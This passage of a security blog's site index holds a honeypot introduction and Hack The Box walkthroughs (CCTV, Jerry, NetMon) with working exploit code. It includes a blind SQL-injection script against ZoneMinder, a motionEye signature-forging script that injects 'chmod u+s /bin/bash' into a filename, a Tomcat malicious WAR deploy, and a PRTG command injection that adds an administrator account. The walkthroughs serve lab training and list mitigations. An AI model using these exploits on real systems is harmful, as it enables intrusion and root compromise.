2026","externalUrl":null,"permalink":"/honeypot/rebirth-botnet/","section":"Honeypots","summary":" While reviewing traffic from my T-Pot honeypot I found something more interesting than the typical SSH brute-force attempt: a complete infection chain, captured live, that turned out to be a variant of the Rebirth botnet, from the Mirai/Gafgyt family. This post covers exactly what I captured, how I pieced it together to identify it, and what the security community says about this family — making clear throughout what is my direct observation and what is third-party research. What I Captured (this part is mine) # The honeypot that recorded this was Adbhoney, one of T-Pot’s sensors that simulates the ADB (Android Debug Bridge) protocol — Android’s remote debugging system, which when exposed to the internet without authentication is a trivial entry point for automated bots.\n","title":"I Captured a Rebirth Botnet Sample in My Honeypot: Here's What I Pieced Together","type":"honeypot"},{"content":"","date":"9 July 2026","externalUrl":null,"permalink":"/tags/malwareanalysis/","section":"Tags","summary":"","title":"MalwareAnalysis","type":"tags"},{"content":" I\u0026rsquo;m going to intentionally expose a server to the internet so it gets attacked — and then write about it here, every week. No simulations or lab data: real malicious traffic, from the real internet, against a server that does nothing but wait for someone to try to break in. What This Is # This blog documents what a honeypot — a decoy system designed to look vulnerable and attract attacks — detects in real time, week by week.\nThe idea is simple: most of what you read about cybersecurity consists of quarterly reports from large companies or retrospective analyses of already-resolved incidents. This is the opposite — a small but continuous, unfiltered look at what\u0026rsquo;s happening right now in the background noise of the internet: what credentials bots test, what years-old vulnerabilities are still being exploited, what botnets are still actively recruiting devices.\nThe Infrastructure # The honeypot runs on T-Pot, a platform that deploys more than 20 different honeypots in parallel (SSH, Android ADB, SMB, exposed databases, industrial systems, vulnerable web servers, among others), together with Elasticsearch and Kibana to analyze and visualize everything coming in. It\u0026rsquo;s hosted on a VPS dedicated exclusively to this project, isolated from any other systems or personal data.\nWhat You\u0026rsquo;ll Find Here # Two types of content, at different cadences:\nWeekly summaries, every Sunday. Short and consistent format: how many attacks occurred, which honeypot received the most traffic, where it came from, and the most interesting finding of the week — whether it\u0026rsquo;s a curious credential pattern, an executed command, or an alert about a specific CVE being actively exploited.\nIn-depth analyses, on no fixed schedule. When something captured warrants more than a paragraph — a real malware sample, an evasion technique, an identifiable campaign — I dedicate a separate post to it. The first of these is already published: an analysis of a Rebirth botnet sample (Mirai/Gafgyt variant) that I captured trying to infect the honeypot disguised as a Clash Royale app.\nWhy I\u0026rsquo;m Doing This # I come from a more offensive-oriented background — CJCA certified, a handful of HackTheBox machines solved and documented — and I\u0026rsquo;m currently preparing for Security+. This project is my way of putting hours into the other side of the board: detection, threat analysis, and the discipline of turning raw data into something readable and useful, which is ultimately the daily work of a SOC analyst or threat intelligence professional.\nI don\u0026rsquo;t expect every week to bring a spectacular finding — many will simply be \u0026ldquo;more of the same: SSH brute force, SMB scanning, generic credentials.\u0026rdquo; And that\u0026rsquo;s fine. The value here isn\u0026rsquo;t that each entry is impactful, but consistency: looking at the same attack surface week after week until patterns — and anomalies — become visible.\nA Note on Technical Honesty # A commitment I\u0026rsquo;m setting for myself from the first post: I\u0026rsquo;m not going to inflate the severity of what I find. If something is simply automated scanning noise of no particular interest, I\u0026rsquo;ll say so. If a finding requires caveats (\u0026ldquo;this looks like X, but I haven\u0026rsquo;t fully confirmed it\u0026rdquo;), I\u0026rsquo;ll caveat it. I\u0026rsquo;d rather this blog be useful and credible than flashy.\nSee you Sunday with the first weekly summary.\n","date":"8 July 2026","externalUrl":null,"permalink":"/honeypot/introduccion/","section":"Honeypots","summary":" I’m going to intentionally expose a server to the internet so it gets attacked — and then write about it here, every week. No simulations or lab data: real malicious traffic, from the real internet, against a server that does nothing but wait for someone to try to break in. What This Is # This blog documents what a honeypot — a decoy system designed to look vulnerable and attract attacks — detects in real time, week by week.\n","title":"I Set Up a Honeypot and I'm Going to Report What I See Every Week","type":"honeypot"},{"content":"","date":"22 June 2026","externalUrl":null,"permalink":"/tags/bcrypt/","section":"Tags","summary":"","title":"Bcrypt","type":"tags"},{"content":"","date":"22 June 2026","externalUrl":null,"permalink":"/tags/blindsqli/","section":"Tags","summary":"","title":"BlindSQLi","type":"tags"},{"content":"","date":"22 June 2026","externalUrl":null,"permalink":"/tags/cctv/","section":"Tags","summary":"","title":"Cctv","type":"tags"},{"content":"","date":"22 June 2026","externalUrl":null,"permalink":"/tags/cve-2024-51482/","section":"Tags","summary":"","title":"CVE-2024-51482","type":"tags"},{"content":"","date":"22 June 2026","externalUrl":null,"permalink":"/tags/cve-2025-60787/","section":"Tags","summary":"","title":"CVE-2025-60787","type":"tags"},{"content":"","date":"22 June 2026","externalUrl":null,"permalink":"/tags/hmac/","section":"Tags","summary":"","title":"HMAC","type":"tags"},{"content":" Walkthrough of CCTV on Hack The Box. Medium difficulty machine running Linux. ZoneMinder exposed with default credentials is vulnerable to CVE-2024-51482, a blind SQL Injection that lets us extract bcrypt hashes and gain SSH access. Once inside, motionEye runs as root with its API signing key exposed in a readable configuration file — a combination that exploits CVE-2025-60787 to inject a command into a capture filename and set SUID on /bin/bash. HackTheBox Linux Medium 🗺️ Machine Info # Field Detail Name CCTV OS Linux Difficulty Medium IP 10.129.244.156 Techniques CVE-2024-51482 · Boolean-based Blind SQLi · bcrypt Cracking · CVE-2025-60787 · SUID PrivEsc 1. Reconnaissance # 1.1 Port Scan # nmap -p- --open -sS --min-rate 5000 -n -Pn 10.129.244.156 PORT STATE SERVICE 22/tcp open ssh 80/tcp open http echo \u0026#34;10.129.244.156 cctv.htb\u0026#34; \u0026gt;\u0026gt; /etc/hosts 💡 Attack surface: Only SSH and a web service. All initial investigation necessarily goes through the web application on port 80.\n2. Web Enumeration — ZoneMinder # Visiting http://cctv.htb we find a staff login panel. We try default credentials:\nadmin : admin ✅ Access granted. The application is ZoneMinder v1.37.63, an open-source video surveillance system.\n⚠️ Vulnerability identified: This version is vulnerable to CVE-2024-51482, a blind SQL Injection in the tid parameter of the web/ajax/event.php endpoint. Any authenticated user — including admin:admin by default — can exploit it.\nWe first try the public time-based reference exploit:\npython3 CVE-2024-51482.py -i 10.129.244.156 -u admin -p admin --test [-] Target does not appear vulnerable The server buffers SLEEP() delays, so time-based detection fails. However, the tid parameter is still unsanitized — we switch to boolean-based blind SQLi: instead of measuring time, we observe whether the \u0026quot;response\u0026quot; key appears or not in the JSON response depending on whether the injected condition is true or false.\n2.1 Vulnerable Request # GET /zm/index.php?view=request\u0026amp;request=event\u0026amp;action=removetag\u0026amp;tid=\u0026lt;PAYLOAD\u0026gt; Cookie: ZMSESSID=\u0026lt;session_cookie\u0026gt; 2.2 Payload Logic # -- Is the first character of mark\u0026#39;s password hash \u0026#39;$\u0026#39; (ASCII 36)? 0 UNION SELECT 1,2,3,4 FROM Users WHERE Id=2 AND ASCII(SUBSTRING(Password,1,1))=36 If the condition is true, the response changes in a detectable way. Iterating position by position and character by character we extract the full hash without time delays.\n2.3 Extraction Script # import requests, sys URL = \u0026#39;http://cctv.htb/zm/index.php\u0026#39; COOKIE = {\u0026#39;ZMSESSID\u0026#39;: sys.argv[1]} # Charset optimized for bcrypt ($2y$10$...) CHARSET = [ord(c) for c in \u0026#39;$2abcdefghijklmnopqrstuvwxyz0123456789./ABCDEFGHIJKLMNOPQRSTUVWXYZ\u0026#39;] def check(user_id, pos, asc_val): payload = ( f\u0026#39;0 UNION SELECT 1,2,3,4 FROM Users \u0026#39; f\u0026#39;WHERE Id={user_id} AND ASCII(SUBSTRING(Password,{pos},1))={asc_val}\u0026#39; ) params = {\u0026#39;view\u0026#39;:\u0026#39;request\u0026#39;,\u0026#39;request\u0026#39;:\u0026#39;event\u0026#39;,\u0026#39;action\u0026#39;:\u0026#39;removetag\u0026#39;,\u0026#39;tid\u0026#39;:payload} r = requests.get(URL, params=params, cookies=COOKIE, timeout=5) return \u0026#39;\u0026#34;response\u0026#34;\u0026#39; not in r.text and r.status_code == 200 for uid, uname in [(1,\u0026#39;superadmin\u0026#39;),(2,\u0026#39;mark\u0026#39;)]: password = \u0026#39;\u0026#39; for pos in range(1, 61): found = False for asc in CHARSET: if check(uid, pos, asc): password += chr(asc); found = True; break if not found: for asc in range(32, 127): if check(uid, pos, asc): password += chr(asc); found = True; break if not found: password += \u0026#39;?\u0026#39; print(f\u0026#39;{uname} hash: {password}\u0026#39;) The charset prioritizes typical bcrypt characters ($, digits, letters, and ./) to reduce the number of requests needed per position.\nWe extract the ZMSESSID from the authenticated session and run:\npython3 sqli.py jalvld8p48s3gpba63pb8gi3ho superadmin hash: $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm mark hash: $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG. 3. Hash Cracking and SSH Access # We save mark\u0026rsquo;s hash and crack it with John the Ripper:\necho \u0026#39;$2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.\u0026#39; \u0026gt; mark.hash john --wordlist=/usr/share/wordlists/rockyou.txt mark.hash Loaded 1 password hash (bcrypt [Blowfish 32/64 X3]) Cost 1 (iteration count) is 1024 for all loaded hashes opensesame (?) 1g 0:00:01:06 DONE — 0.01503g/s 89.82p/s 🔑 Credentials obtained: mark:opensesame\nssh mark@cctv.htb mark@cctv:~$ id uid=1000(mark) gid=1000(mark) groups=1000(mark),24(cdrom),30(dip),46(plugdev) 4. User Flag # mark@cctv:~$ cat /home/sa_mark/user.txt 🔑 User flag obtained.\n5. Privilege Escalation — motionEye Running as Root # 5.1 Local Service Enumeration # mark@cctv:~$ ss -tlnp LISTEN 127.0.0.1:7999 LISTEN 127.0.0.1:8765 LISTEN 127.0.0.1:8554 LISTEN 127.0.0.1:3306 LISTEN 0.0.0.0:22 LISTEN *:80 mark@cctv:~$ grep User /etc/systemd/system/motioneye.service User=root 💡 Key finding: motionEye (ports 7999 and 8765) runs as root. If we can execute code through it, escalation is direct.\n5.2 Signing Key Exposed in Configuration # mark@cctv:~$ cat /etc/motioneye/motion.conf # @admin_username admin # @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0 # @normal_username user # @normal_password setup_mode off webcontrol_port 7999 webcontrol_localhost on 💡 Critical data: admin_password is not the plaintext password — it\u0026rsquo;s the hash that motionEye uses as the HMAC signing key to authenticate requests to its REST API. Each request must include a _signature parameter computed with that key. Since mark can read this file, we have the key without needing the real credentials. This is the basis of CVE-2025-60787.\n6. Exploitation — CVE-2025-60787: Forged Signature + RCE via Filename # 6.1 Vulnerability Analysis # CVE-2025-60787 combines two problems in motionEye:\nSigning key readable by non-administrative users: With access to motion.conf, any local user can sign arbitrary requests to the administrative API without knowing the real password.\nCommand injection in image_file_name: The field defining capture filenames supports strftime-style templates (%Y-%m-%d), but doesn\u0026rsquo;t sanitize $(...) content. When motion generates the filename through a shell, any embedded subcommand executes — and since the service runs as root, the command runs with root privileges.\nNormal flow: image_file_name = \u0026#34;capture_%Y-%m-%d\u0026#34; → motion generates \u0026#34;capture_2026-06-22\u0026#34; Malicious flow: image_file_name = \u0026#34;$(chmod u+s /bin/bash).%Y-%m-%d\u0026#34; → motion invokes shell to expand the template → subcommand executed as root → /bin/bash gets SUID bit 6.2 Signature Computation # motionEye signs requests by concatenating HTTP method, normalized path, body, and key, then computing SHA-1 over the result. We reproduce the exact algorithm:\nimport hashlib, re, urllib.parse, requests, json _SIGNATURE_REGEX = re.compile(r\u0026#34;[^a-zA-Z0-9/?_.=\u0026amp;{}\\[\\]\\\u0026#34;:, -]\u0026#34;) KEY = \u0026#34;989c5a8ee87a0e9521ec81a79187d162109282f0\u0026#34; BASE = \u0026#34;http://127.0.0.1:8765\u0026#34; def compute_sig(method, path_with_query, body=\u0026#34;\u0026#34;): parts = list(urllib.parse.urlsplit(path_with_query)) query = [q for q in urllib.parse.parse_qsl(parts[3], keep_blank_values=True) if q[0] != \u0026#34;_signature\u0026#34;] query.sort(key=lambda q: q[0]) query = [(n, urllib.parse.quote(v, safe=\u0026#34;!\u0026#39;()*~\u0026#34;)) for (n, v) in query] parts[0] = parts[1] = \u0026#34;\u0026#34; parts[3] = \u0026#34;\u0026amp;\u0026#34;.join([q[0] + \u0026#34;=\u0026#34; + q[1] for q in query]) path = _SIGNATURE_REGEX.sub(\u0026#34;-\u0026#34;, urllib.parse.urlunsplit(parts)) k = _SIGNATURE_REGEX.sub(\u0026#34;-\u0026#34;, KEY) body_str = _SIGNATURE_REGEX.sub(\u0026#34;-\u0026#34;, body) if body else \u0026#34;\u0026#34; return hashlib.sha1(f\u0026#34;{method}:{path}:{body_str}:{k}\u0026#34;.encode()).hexdigest().lower() 6.3 Exploit Execution # Step 1 — Read the current camera configuration (needed for the set, which requires the full object):\nqget = \u0026#34;/config/1/get?_username=admin\u0026#34; r = requests.get(f\u0026#34;{BASE}{qget}\u0026amp;_signature={compute_sig(\u0026#39;GET\u0026#39;, qget)}\u0026#34;) ui = r.json() Step 2 — Inject the payload into image_file_name:\nui[\u0026#34;image_file_name\u0026#34;] = \u0026#34;$(chmod u+s /bin/bash).%Y-%m-%d\u0026#34; ui[\u0026#34;capture_mode\u0026#34;] = \u0026#34;all-frames\u0026#34; ui[\u0026#34;still_images\u0026#34;] = True Enabling all-frames forces motion to generate captures continuously, guaranteeing the malicious filename gets evaluated quickly.\nStep 3 — Send the poisoned configuration:\nbody = json.dumps(ui) qset = \u0026#34;/config/1/set?_username=admin\u0026#34; r = requests.post( f\u0026#34;{BASE}{qset}\u0026amp;_signature={compute_sig(\u0026#39;POST\u0026#39;, qset, body)}\u0026#34;, data=body, headers={\u0026#34;Content-Type\u0026#34;: \u0026#34;application/json\u0026#34;} ) print(f\u0026#34;[*] Config update: {r.status_code} — {r.text}\u0026#34;) mark@cctv:/tmp$ python3 exploit.py [*] Config update: 200 — {\u0026#34;reload\u0026#34;: false, \u0026#34;reboot\u0026#34;: false, \u0026#34;error\u0026#34;: null} After the motion service restarts, the subcommand executes as root and /bin/bash gets SUID:\nmark@cctv:/tmp$ /bin/bash -p bash-5.2# id uid=1000(mark) gid=1000(mark) euid=0(root) groups=1000(mark) ✅ Shell with EUID 0 (root) obtained.\n7. Root Flag # bash-5.2# cat /root/root.txt 🏁 Root flag obtained.\n8. Summary and Lessons Learned # Compromise path:\nRecon → Port 80 with ZoneMinder v1.37.63; default credentials admin:admin. CVE-2024-51482 → Boolean-based blind SQLi on tid → bcrypt hashes of superadmin and mark. Cracking → John + rockyou.txt → mark:opensesame → SSH. Local enumeration → motionEye on ports 7999/8765 running as root; readable motion.conf with exposed signing key. CVE-2025-60787 → Forged HMAC signature + $(...) injection in image_file_name → chmod u+s /bin/bash executed as root. Flags → User flag at /home/sa_mark/user.txt; root flag with /bin/bash -p. What I learned from this machine:\nDefault credentials are still the most frequent and most ignored entry vector. ZoneMinder installs with admin:admin and many production instances never change it. Without those credentials, the SQLi in CVE-2024-51482 is not exploitable (requires authentication) — the most basic hardening would have cut the attack at the first step.\nTime-based SQLi and boolean-based SQLi are not interchangeable. When the server buffers delays (WAF, connection pooling, engine configuration), time-based detection fails even though the injection exists. Switching to boolean-based — observing differences in response content rather than timing — is the natural next step and worked perfectly here.\nA readable configuration file can be worth more than a password. The admin_password key in motion.conf wasn\u0026rsquo;t the user\u0026rsquo;s password — it was the cryptographic signing key for the entire API. Read access to that file was equivalent to full administrative access to motionEye without knowing any real credentials. The principle of least privilege on configuration files isn\u0026rsquo;t just a best practice — it\u0026rsquo;s a concrete defensive layer.\nTemplating systems that invoke a shell are an immediate command injection vector if they don\u0026rsquo;t sanitize input. image_file_name supported variable substitutions, which requires invoking a shell to expand them. Any field that goes through a shell without sanitizing $() is potentially vulnerable. The fix isn\u0026rsquo;t better sanitization — it\u0026rsquo;s not invoking a shell for template expansion when it\u0026rsquo;s not strictly necessary.\nA service running as root with the ability to write to the filesystem is immediate escalation. SUID on /bin/bash is one of the simplest possible payloads — no kernel exploits needed, not architecture-dependent, works as long as /bin/bash exists. The root problem isn\u0026rsquo;t the payload but that motion runs as root unnecessarily.\nMitigations:\nVector Mitigation Default credentials in ZoneMinder Force change on first login; remove default credentials before exposing the panel CVE-2024-51482 — blind SQLi on tid Update ZoneMinder to patched version; use prepared statements on all AJAX endpoints Signing key readable by non-administrative users Restrict motion.conf permissions to root only; don\u0026rsquo;t derive signing keys from admin passwords motionEye running as root Run with a dedicated unprivileged user; use setcap if camera device access is needed CVE-2025-60787 — injection via image_file_name Update motionEye to patched version; don\u0026rsquo;t expand filename templates via a shell No segmentation between services and root privileges Periodically audit which local services run with unnecessarily elevated privileges ","date":"22 June 2026","externalUrl":null,"permalink":"/posts/htb-cctv/","section":"Posts","summary":" Walkthrough of CCTV on Hack The Box. Medium difficulty machine running Linux. ZoneMinder exposed with default credentials is vulnerable to CVE-2024-51482, a blind SQL Injection that lets us extract bcrypt hashes and gain SSH access. Once inside, motionEye runs as root with its API signing key exposed in a readable configuration file — a combination that exploits CVE-2025-60787 to inject a command into a capture filename and set SUID on /bin/bash. HackTheBox Linux Medium ","title":"HTB Walkthrough: CCTV","type":"posts"},{"content":"","date":"22 June 2026","externalUrl":null,"permalink":"/tags/johntheripper/","section":"Tags","summary":"","title":"JohnTheRipper","type":"tags"},{"content":"","date":"22 June 2026","externalUrl":null,"permalink":"/tags/medium/","section":"Tags","summary":"","title":"Medium","type":"tags"},{"content":"","date":"22 June 2026","externalUrl":null,"permalink":"/tags/motioneye/","section":"Tags","summary":"","title":"MotionEye","type":"tags"},{"content":"","date":"22 June 2026","externalUrl":null,"permalink":"/tags/suid/","section":"Tags","summary":"","title":"SUID","type":"tags"},{"content":"","date":"22 June 2026","externalUrl":null,"permalink":"/tags/zoneminder/","section":"Tags","summary":"","title":"ZoneMinder","type":"tags"},{"content":"","date":"13 June 2026","externalUrl":null,"permalink":"/tags/cve-2018-9276/","section":"Tags","summary":"","title":"CVE-2018-9276","type":"tags"},{"content":"","date":"13 June 2026","externalUrl":null,"permalink":"/tags/defaultcredentials/","section":"Tags","summary":"","title":"DefaultCredentials","type":"tags"},{"content":"","date":"13 June 2026","externalUrl":null,"permalink":"/tags/ftp/","section":"Tags","summary":"","title":"FTP","type":"tags"},{"content":" Walkthrough of Jerry on Hack The Box. Easy difficulty machine running Windows Server 2012 R2. Apache Tomcat 7.0.88 exposed with default credentials in the Manager. We use them to deploy a malicious WAR that delivers remote code execution directly as NT AUTHORITY\\SYSTEM — no privilege escalation needed. HackTheBox Windows Easy 🗺️ Machine Info # Field Detail Name Jerry OS Windows Server 2012 R2 Difficulty Easy IP 10.129.136.9 Techniques Default Credentials · Tomcat WAR Deploy · RCE as SYSTEM 1. Reconnaissance # 1.1 Port Scan # nmap -p- --open -sS --min-rate 5000 -n -Pn 10.129.136.9 PORT STATE SERVICE 8080/tcp open http-proxy Version scan:\nnmap -sC -sV -p8080 10.129.136.9 PORT STATE SERVICE VERSION 8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1 |_http-title: Apache Tomcat/7.0.88 Open ports:\n8080 → Apache Tomcat 7.0.88 💡 Key insight: Tomcat exposes the Manager Application at /manager/html — a web admin interface that allows deploying Java applications (.war files) directly to the server. Authenticating to the Manager equals RCE.\n1.2 Tomcat Manager Enumeration # We navigate to http://10.129.136.9:8080/manager/html. Access requires HTTP Basic Auth. We test default credentials using the Metasploit module:\nmsf6 \u0026gt; use auxiliary/scanner/http/tomcat_mgr_login msf6 auxiliary(tomcat_mgr_login) \u0026gt; set RHOSTS 10.129.136.9 msf6 auxiliary(tomcat_mgr_login) \u0026gt; set RPORT 8080 msf6 auxiliary(tomcat_mgr_login) \u0026gt; run [-] LOGIN FAILED: tomcat:admin (Incorrect) [-] LOGIN FAILED: tomcat:manager (Incorrect) [-] LOGIN FAILED: tomcat:tomcat (Incorrect) [+] LOGIN SUCCESSFUL: tomcat:s3cret 🔑 Credentials found: tomcat:s3cret. Tomcat default credentials are publicly documented in the project\u0026rsquo;s own repository — it\u0026rsquo;s one of the first checks on any exposed Tomcat installation.\n💡 Conclusion: Manager access with default credentials. We can deploy a malicious WAR and get RCE directly.\n2. Exploitation — Malicious WAR Deployment # 2.1 Vulnerability Analysis # A WAR (Web Application Archive) is the standard Java application packaging format for Tomcat. The Manager allows uploading and deploying WARs directly through the web interface. By deploying a WAR containing a JSP with a reverse shell payload, Tomcat extracts it, serves it as a web application, and visiting the URL executes the code in the context of the Tomcat process.\nNormal flow: upload legitimate WAR → Tomcat deploys the app → serves the Java app Malicious flow: upload malicious WAR → Tomcat deploys the shell JSP → visiting the URL triggers the JSP → execution as SYSTEM The Tomcat process on this machine runs as the machine account JERRY$, which has privileges equivalent to local administrator — direct SYSTEM access with no escalation needed.\n2.2 Execution # msf6 \u0026gt; use exploit/multi/http/tomcat_mgr_deploy msf6 exploit(tomcat_mgr_deploy) \u0026gt; set RHOSTS 10.129.136.9 msf6 exploit(tomcat_mgr_deploy) \u0026gt; set RPORT 8080 msf6 exploit(tomcat_mgr_deploy) \u0026gt; set HttpUsername tomcat msf6 exploit(tomcat_mgr_deploy) \u0026gt; set HttpPassword s3cret msf6 exploit(tomcat_mgr_deploy) \u0026gt; set PATH /manager/text msf6 exploit(tomcat_mgr_deploy) \u0026gt; set LHOST tun0 msf6 exploit(tomcat_mgr_deploy) \u0026gt; set target 1 msf6 exploit(tomcat_mgr_deploy) \u0026gt; run Two relevant configuration options:\nPATH /manager/text — The /manager/text path is the plain-text API that Metasploit uses for programmatic deployment, without parsing HTML. target 1 (Java Universal) — Generates a pure Java payload (.class) that runs on Tomcat\u0026rsquo;s JVM, compatible with both Windows and Linux regardless of OS architecture. [*] Uploading 6217 bytes as GiLuDM0r7bdIcsQyV.war ... [*] Executing /GiLuDM0r7bdIcsQyV/UnHl.jsp... [*] Undeploying GiLuDM0r7bdIcsQyV ... [*] Meterpreter session 1 opened (10.10.14.211:4444 -\u0026gt; 10.129.136.9:49192) meterpreter \u0026gt; getuid Server username: JERRY$ ✅ Shell obtained directly as SYSTEM. No privilege escalation required.\n3. Flags — Two for the Price of One # Jerry has a distinctive quirk: both flags are in a single file on the Administrator\u0026rsquo;s desktop, as a wink from the creator to the fact that SYSTEM is obtained directly without going through an unprivileged user.\nmeterpreter \u0026gt; cat \u0026#34;C:\\\\Users\\\\Administrator\\\\Desktop\\\\flags\\\\2 for the price of 1.txt\u0026#34; user.txt [flag] root.txt [flag] 🔑 User flag obtained.\n🏁 Root flag obtained.\n4. Summary and Lessons Learned # Compromise path:\nRecon → Port 8080 with Apache Tomcat 7.0.88; Manager Application at /manager/html. Default credentials → tomcat_mgr_login → tomcat:s3cret. Malicious WAR → tomcat_mgr_deploy with Java Universal → JSP executed by Tomcat → shell as JERRY$ (SYSTEM). Flags → Both in a single file on the Administrator\u0026rsquo;s desktop. What I learned from this machine:\nTomcat Manager with default credentials is RCE. No software vulnerability needed — the legitimate WAR deployment functionality is the attack vector. The security of a Tomcat installation depends entirely on protecting the Manager with strong credentials and IP-based access restrictions.\nJava Universal payloads are OS-architecture agnostic. Unlike native payloads (.exe for Windows, ELF for Linux), a Java payload runs on the JVM regardless of whether the system is x86, x64, Windows, or Linux. On Java application servers this is especially useful because the JVM is always available.\nThe machine account in Windows has local administrator privileges. JERRY$ is the system\u0026rsquo;s machine account — not a traditional admin user, but with equivalent access to SYSTEM on the local system. When a service runs under this account, compromising that service grants full access without additional escalation.\nChanging default credentials is the most basic and most frequently skipped hardening step. The password s3cret isn\u0026rsquo;t even Tomcat\u0026rsquo;s actual default password — someone configured it deliberately. Yet it appears in every Tomcat wordlist. A weak, documented password on the Manager is functionally equivalent to having no password.\nMitigations:\nVector Mitigation Default credentials in Tomcat Manager Change credentials immediately after installation; use complex, unique passwords Tomcat Manager accessible from the internet Restrict /manager by IP; disable Manager in production if not needed Tomcat running as machine account (SYSTEM) Create a dedicated service user without administrative privileges to run Tomcat Unrestricted WAR deployment Disable Manager if not actively used; whitelist of authorized WARs Tomcat 7.0.88 (end of life) Upgrade to Tomcat 9.x or 10.x with active security patches ","date":"13 June 2026","externalUrl":null,"permalink":"/posts/htb-jerry/","section":"Posts","summary":" Walkthrough of Jerry on Hack The Box. Easy difficulty machine running Windows Server 2012 R2. Apache Tomcat 7.0.88 exposed with default credentials in the Manager. We use them to deploy a malicious WAR that delivers remote code execution directly as NT AUTHORITY\\SYSTEM — no privilege escalation needed. HackTheBox Windows Easy ","title":"HTB Walkthrough: Jerry","type":"posts"},{"content":" Walkthrough of NetMon on Hack The Box. Easy difficulty machine running Windows Server 2016. Anonymous FTP exposes the Windows root filesystem, allowing us to read a PRTG configuration backup with cleartext credentials. With admin panel access we exploit CVE-2018-9276, a command injection in PRTG\u0026rsquo;s notification system that executes code as NT AUTHORITY\\SYSTEM. HackTheBox Windows Easy 🗺️ Machine Info # Field Detail Name NetMon OS Windows Server 2016 Difficulty Easy IP 10.129.14.77 Techniques FTP Anonymous Read · Credential Exposure · CVE-2018-9276 · Command Injection 1. Reconnaissance # 1.1 Port Scan # nmap -p- --open -sS --min-rate 5000 -n -Pn 10.129.14.77 PORT STATE SERVICE 21/tcp open ftp 80/tcp open http 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 5985/tcp open wsman 47001/tcp open winrm Version scan on relevant ports:\nnmap -sC -sV -p21,80,5985 10.129.14.77 PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd | ftp-anon: Anonymous FTP login allowed (FTP code 230) 80/tcp open http Indy httpd (Paessler PRTG bandwidth monitor) |_http-title: Welcome | PRTG Network Monitor 5985/tcp open http Microsoft HTTPAPI httpd (WSMAN) Open ports:\n21 → FTP with anonymous access enabled 80 → PRTG Network Monitor — infrastructure monitoring tool 5985 → WinRM (useful if we obtain admin credentials) 💡 Key detail: PRTG Network Monitor has a history of critical vulnerabilities. Anonymous FTP on a Windows server can expose sensitive filesystem paths if not properly isolated in a chroot directory.\n1.2 FTP Enumeration — Filesystem Access # ftp 10.129.14.77 # Username: anonymous / No password ftp\u0026gt; ls 02-03-19 12:18AM .rnd 02-25-19 10:15PM \u0026lt;DIR\u0026gt; inetpub 07-16-16 09:18AM \u0026lt;DIR\u0026gt; PerfLogs 02-25-19 10:56PM \u0026lt;DIR\u0026gt; Program Files 02-03-19 12:28AM \u0026lt;DIR\u0026gt; Program Files (x86) 02-03-19 08:08AM \u0026lt;DIR\u0026gt; Users 11-10-23 10:20AM \u0026lt;DIR\u0026gt; Windows The FTP exposes the Windows root filesystem (C:\\). We can freely navigate system directories without authentication — a critical misconfiguration that turns the FTP into a read vector for any file accessible to the process.\nPRTG\u0026rsquo;s official documentation states configuration files are stored in C:\\ProgramData\\Paessler\\PRTG Network Monitor:\nftp\u0026gt; cd ProgramData/Paessler/PRTG\\ Network\\ Monitor ftp\u0026gt; ls 06-13-26 08:17AM \u0026lt;DIR\u0026gt; Configuration Auto-Backups 02-25-19 10:54PM 1189697 PRTG Configuration.dat 02-25-19 10:54PM 1189697 PRTG Configuration.old 07-14-18 03:13AM 1153755 PRTG Configuration.old.bak 06-13-26 09:41AM 1722335 PRTG Graph Data Cache.dat There are three configuration files: the current one (.dat), a previous copy (.old), and an old backup (.old.bak). Backups often contain valuable historical information — credentials no longer in production but that reveal patterns. We download the oldest one:\nftp\u0026gt; get PRTG\\ Configuration.old.bak 💡 Conclusions: Read access to all of C:\\ without authentication. The PRTG configuration backup is the priority target — monitoring software configuration files frequently contain admin credentials in cleartext.\n2. Exploitation — Backup Credentials and CVE-2018-9276 # 2.1 Credential Extraction from the Backup # grep -A2 \u0026#34;dbpassword\u0026#34; \u0026#34;PRTG Configuration.old.bak\u0026#34; \u0026lt;dbpassword\u0026gt; \u0026lt;!-- User: prtgadmin --\u0026gt; PrTg@dmin2018 Credentials found: prtgadmin:PrTg@dmin2018. However, this backup is from July 2018 and the system\u0026rsquo;s current credentials are from the following year. PRTG has an annual rotation policy, and a pattern as predictable as incrementing the year makes the \u0026ldquo;rotation\u0026rdquo; trivially bypassable:\nPrTg@dmin2018 → Login failed PrTg@dmin2019 → ✅ Login successful With prtgadmin:PrTg@dmin2019 we access the admin panel at http://10.129.14.77/.\nThe installed version is PRTG 18.1.37.13946, vulnerable to CVE-2018-9276.\n2.2 Vulnerability Analysis — CVE-2018-9276 # PRTG allows configuring notifications that execute external scripts when certain events are triggered. The \u0026ldquo;Parameter\u0026rdquo; field in the \u0026ldquo;Execute Program\u0026rdquo; section doesn\u0026rsquo;t sanitize user input before passing it to the execution process. Using ; we can chain additional commands that PRTG will execute as NT AUTHORITY\\SYSTEM.\nNormal flow: Parameter: \u0026#34;file.txt\u0026#34; → script receives the argument → performs legitimate action Malicious flow: Parameter: \u0026#34;file.txt;command\u0026#34; → script receives argument → PRTG passes the rest to the shell unsanitized → command executed as SYSTEM 2.3 Manual Exploitation — Create an Admin User # Navigate to Setup → Account Settings → Notifications → Add new notification:\nIn the \u0026ldquo;Execute Program\u0026rdquo; section configure:\nProgram File: Demo exe notification - outfile.ps1 Parameter: test.txt;net user attacker P@ssw0rd! /add;net localgroup administrators attacker /add The payload chains three actions:\ntest.txt — argument expected by the script so it doesn\u0026rsquo;t fail. net user attacker P@ssw0rd! /add — creates a local user. net localgroup administrators attacker /add — adds them to the administrators group. We save the notification and trigger it from the list using the bell icon (\u0026ldquo;Send test notification\u0026rdquo;):\nPRTG executes the script as SYSTEM and the commands are processed.\n2.4 SYSTEM Shell with Automated Exploit # Exploit available at: CVE-2018-9276 PoC\npython cve_2018_9276.py \\ -i 10.129.14.77 \\ -p 80 \\ --lhost 10.10.14.211 \\ --lport 4444 \\ --user prtgadmin \\ --password PrTg@dmin2019 C:\\Windows\\system32\u0026gt; whoami nt authority\\system ✅ SYSTEM shell obtained.\n3. User Flag # The user flag is on the public desktop, accessible directly from the FTP without needing a shell:\nftp\u0026gt; get Users/Public/Desktop/user.txt 🔑 User 